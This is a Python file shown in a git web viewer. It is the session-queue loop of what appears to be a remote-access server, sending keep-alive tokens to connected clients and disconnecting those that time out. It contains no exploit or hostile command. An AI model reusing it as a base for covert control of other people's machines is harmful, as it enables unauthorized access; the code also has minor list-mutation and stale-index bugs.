summaryrefslogtreecommitdiff
path: root/domestic/session/session_queue.py
blob: e4e0f81541ee1428cd32ecbaab3521566f723313 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import time

from domestic.parse.internal_server_error_exception_handling import *
from domestic.utility.status_message import *
from binary.data_handling.send_data import *
from binary.data_handling.recv_data import *
from domestic.utility.delete_client import *
from domestic.session.exit_session import *
from domestic.utility.write_error import *
from domestic.global_state import *


@internal_server_error_exception_handling
def session_queue():
	while True:
		for index in range(len(state['sockets']['clients'][0])):
			if time.time() - state['sockets']['clients'][2][index]['timer'] >= state['settings']['keep-alive-count']:
				state['settings']['dynamic']['queue'].append((state['sockets']['clients'][0][index], {'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'}, False))
				state['sockets']['clients'][2][index]['timer'] = time.time()

		if state['settings']['dynamic']['queue']:
			for item in state['settings']['dynamic']['queue']:
				try:
					send_data(item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']})
					data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize']))

					if item[2]:
						state['session']['data'] = data
				except Exception as err:
					write_error(err)

					if item[2]:
						exit_session(False, {'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger'})
					elif state['session']['socket'] is item[0]:
						exit_session(False)
						print()
						status_message('Timeout reached waiting for client response\nClient had to be disconnected', 'danger')

					delete_client(index, False)
				finally:
					state['settings']['dynamic']['queue'].remove(item)
		else:
			time.sleep(0.1)